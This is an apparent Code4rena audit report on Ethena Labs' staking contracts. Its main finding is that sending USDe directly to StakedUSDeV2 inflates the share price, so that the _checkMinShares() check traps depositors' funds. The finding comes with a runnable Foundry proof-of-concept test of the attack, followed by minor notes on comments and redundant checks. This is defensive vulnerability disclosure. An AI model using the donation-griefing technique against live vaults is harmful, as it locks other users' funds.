Ethena Labs - cartlex_'s results

Lines of code

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L190-L194 https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC4626.sol#L197-L201 https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC4626.sol#L197-L201

Vulnerability details

Impact

User's funds can be blocked on staking contract due to usage of _checkMinShares() function.

Proof of Concept

Inside StakedUSDeV2.sol contract users can deposit theirs USDe tokens and mint stakedUSDe for them.

Additionally, there is a _checkMinShares() function that should prevent from "donation attack" as it says in the comment.

/// @notice ensures a small non-zero amount of shares does not remain, exposing to donation attack
function _checkMinShares() internal view {
    uint256 _totalSupply = totalSupply();
    if (_totalSupply > 0 && _totalSupply < MIN_SHARES) revert MinSharesViolation();
}

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L190-L194

However, a malicious user can still transfer its USDe tokens directly to the staking contract first.

When user deposit its USDe tokens, amount of shares that will be minted for user calculated via _convertToShares() function, where the amount of assets user want to deposit into multiplying by totalSupply() and then dividing by totalAssets().

function _convertToShares(uint256 assets, Math.Rounding rounding) internal view virtual returns (uint256) {
    return assets.mulDiv(totalSupply() + 10 ** _decimalsOffset(), totalAssets() + 1, rounding);
}

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC4626.sol#L197-L201

Malicious user can just transfer 1e18 - 1 amount of USDe tokens into staking contract and since that moment, the mimimum amount of USDe tokens that regular user must deposit to mint amount of shares that need to pass _checkMinShares() will be equal to 1e36.

However, even if the user is able to put such a large amount to the staking contract there is a risk of blocking its funds.

One possible scanario described below.

1. Alice transfers 1e18 - 1 amount of USDe tokens to the staking contract.
2. Bob mint 1e18 amount of shares for 1e36 amount of USDe.
3. Alice mint 1 share for 1e18 amount of USDe.
4. Bob can't redeem more that 1 share since there is a _checkMinShares() check.
5. Bob's funds blocked on staking contract until someone minted 1e18 amount of shares or Alice redeem her 1 share.

Proof of concept with the test is shown below.

// SPDX-License-Identifier: MIT
pragma solidity >=0.8;

import {console2, Test, StdStyle} from "forge-std/Test.sol";

import "contracts/USDe.sol";
import "contracts/StakedUSDeV2.sol";
import "contracts/interfaces/IUSDe.sol";
import "contracts/interfaces/IStakedUSDe.sol";

contract POC_BlockingUserFundsTest is Test {
    USDe public usdeToken;
    StakedUSDeV2 public stakedUSDe;

    address public owner;
    address public alice;
    address public bob;

    function setUp() public virtual {
        usdeToken = new USDe(address(this));

        alice = makeAddr("alice");
        bob = makeAddr("bob");
        owner = makeAddr("owner");

        usdeToken.setMinter(address(this));

        vm.startPrank(owner);
        stakedUSDe = new StakedUSDeV2(IUSDe(address(usdeToken)), makeAddr('rewarder'), owner);

        stakedUSDe.setCooldownDuration(0);
        vm.stopPrank();
    }

    /**
     * copy file with test into test/foundry/staking folder.
     * to run test use `forge test --mt test_1_exploitBlockingUsersFunds -vvvvv`
     */
    function test_1_exploitBlockingUsersFunds() public {
        usdeToken.mint(alice, 2e36);
        usdeToken.mint(bob, 1e36);

        vm.startPrank(alice);
        // Alice transfer 1e18 - 1 USDe tokens to stakedUSDe contract.
        usdeToken.transfer(address(stakedUSDe), 1e18 - 1);

         // Now, For one USDe Alice can only receive 1 share.
        uint256 previewDeposit = stakedUSDe.previewDeposit(1e18);
        emit log_named_decimal_uint("Preview deposit", previewDeposit, 18);

        usdeToken.approve(address(stakedUSDe), 1e18);
        // It will revert since 1e18 is not enought to mint 1e18 shares.
        vm.expectRevert(IStakedUSDe.MinSharesViolation.selector);
        stakedUSDe.deposit(1e18, alice);
        vm.stopPrank();

        vm.startPrank(bob);
        // To passe check of `_checkMinShares()` bob should mint 1e18 - 1 shares. it costs now 1e36
        usdeToken.approve(address(stakedUSDe), 2e36);
        uint256 previewDepositBob = stakedUSDe.previewDeposit(1e36);
        emit log_named_decimal_uint("Preview deposit", previewDepositBob, 18);

        // Bob try to deposit, but it reverts since minimum deposit right now is 1e36. 
        vm.expectRevert(IStakedUSDe.MinSharesViolation.selector);
        stakedUSDe.deposit(1e36 - 1, bob);

        // Bob deposit 1e36 USDe.
        stakedUSDe.deposit(1e36, bob);
        vm.stopPrank();

        // Alice deposit 1e18 USDe and mint 1 share.
        vm.startPrank(alice);
        stakedUSDe.deposit(1e18, alice); 
        vm.stopPrank();

        vm.startPrank(bob);
        emit log_named_decimal_uint("Shares total supply", stakedUSDe.totalSupply(), 18);
        
        // Bob try to redeem 2 shares but it reverts due to `_checkMinShares()` check.
        vm.expectRevert(IStakedUSDe.MinSharesViolation.selector);
        stakedUSDe.redeem(2, bob, bob);

        // Bob can only redeem 1 share.
        stakedUSDe.redeem(1, bob, bob);

        vm.startPrank(owner);
        // Admin doesn't have functionality to withdraw USDe token from staked contract.
        vm.expectRevert(IStakedUSDe.InvalidToken.selector);
        stakedUSDe.rescueTokens(address(usdeToken), 1e18 - 1, owner);
        vm.stopPrank();

        console2.log(StdStyle.blue("Bob's funds blocked on staking contract until someone minted 1e18 shares or alice redeem her 1 share"));
    }
}

Tools Used

Manual review, foundry.

Recommended Mitigation Steps

Consider to implement typical "first deposit attack" guard when some amount of shares minted to the address(0) during first deposit like Uniswap does instead of using _checkMinShares() function.

https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol#L119-L121

Assessed type

Math

[NC-01] DEFAULT_ADMIN_ROLE can't use addToBlacklist/removeFromBlacklist by default.

In the comments to addToBlacklist and removeFromBlacklist says that DEFAULT_ADMIN_ROLE can add users to blacklist and remove them from it. However, by default admin can't do it.

/**
* @notice Allows the owner (DEFAULT_ADMIN_ROLE) and blacklist managers to blacklist addresses. 
* @param target The address to blacklist.
* @param isFullBlacklisting Soft or full blacklisting level.
*/
function addToBlacklist(address target, bool isFullBlacklisting) external onlyRole(BLACKLIST_MANAGER_ROLE) notOwner(target) {
    bytes32 role = isFullBlacklisting ? FULL_RESTRICTED_STAKER_ROLE : SOFT_RESTRICTED_STAKER_ROLE;
    _grantRole(role, target);
}

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L101-L113

/**
 * @notice Allows the owner (DEFAULT_ADMIN_ROLE) and blacklist managers to un-blacklist addresses.
 * @param target The address to un-blacklist.
 * @param isFullBlacklisting Soft or full blacklisting level.
 */
function removeFromBlacklist(address target, bool isFullBlacklisting) external onlyRole(BLACKLIST_MANAGER_ROLE) notOwner(target) {
    bytes32 role = isFullBlacklisting ? FULL_RESTRICTED_STAKER_ROLE : SOFT_RESTRICTED_STAKER_ROLE;
    _revokeRole(role, target);
}

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L115-L127

Recommended Mitigation Steps

Consider to change the comments that only BLACKLIST_MANAGER_ROLE by default.

[NC-02] Unnecessary checks.

There is no need to check that to != address(0) since it already implemented in ERC20 _mint() function.

function redistributeLockedAmount(address from, address to) external onlyRole(DEFAULT_ADMIN_ROLE) {
    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, from) && !hasRole(FULL_RESTRICTED_STAKER_ROLE, to)) {
        uint256 amountToDistribute = balanceOf(from);
        _burn(from, amountToDistribute);
        // to address of address(0) enables burning
        if (to != address(0)) _mint(to, amountToDistribute); // @audit address(0) check already implemented in `_mint()` function 

        emit LockedAmountRedistributed(from, to, amountToDistribute);
    } else {
      revert OperationNotAllowed();
    }
}

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L153

Same situation with _beforeTokenTransfer. No need to check to != address(0) since already implemented in ERC20 _transfer function.

function _beforeTokenTransfer(address from, address to, uint256) internal virtual override {
    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, from) && to != address(0)) { // @audit check already implemented in `transfer()` function
        revert OperationNotAllowed();
    }
    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, to)) {
        revert OperationNotAllowed();
    }
  }

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L245-L252

In verifyRoute() function there is unnecessary check that route.addresses[i] == address(0), because it checked when addCustodianAddress() function is used.

for (uint256 i = 0; i < route.addresses.length; ++i) {
    if (!_custodianAddresses.contains(route.addresses[i]) || route.addresses[i] == address(0) || route.ratios[i] == 0) // @audit no need to check address(0)
    {
      return false;
    }
    totalRatio += route.ratios[i];
  }

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/EthenaMinting.sol#L364

Recommended Mitigation Steps

Consider to remove Unnecessary checks.

[NC-03] Typos.

There is a typos in comment.

/// @notice Adds an custodian to the supported custodians list. // @audit an => a.

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/EthenaMinting.sol#L297

Recommended Mitigation Steps

Consider to correct it to:

/// @notice Adds a custodian to the supported custodians list.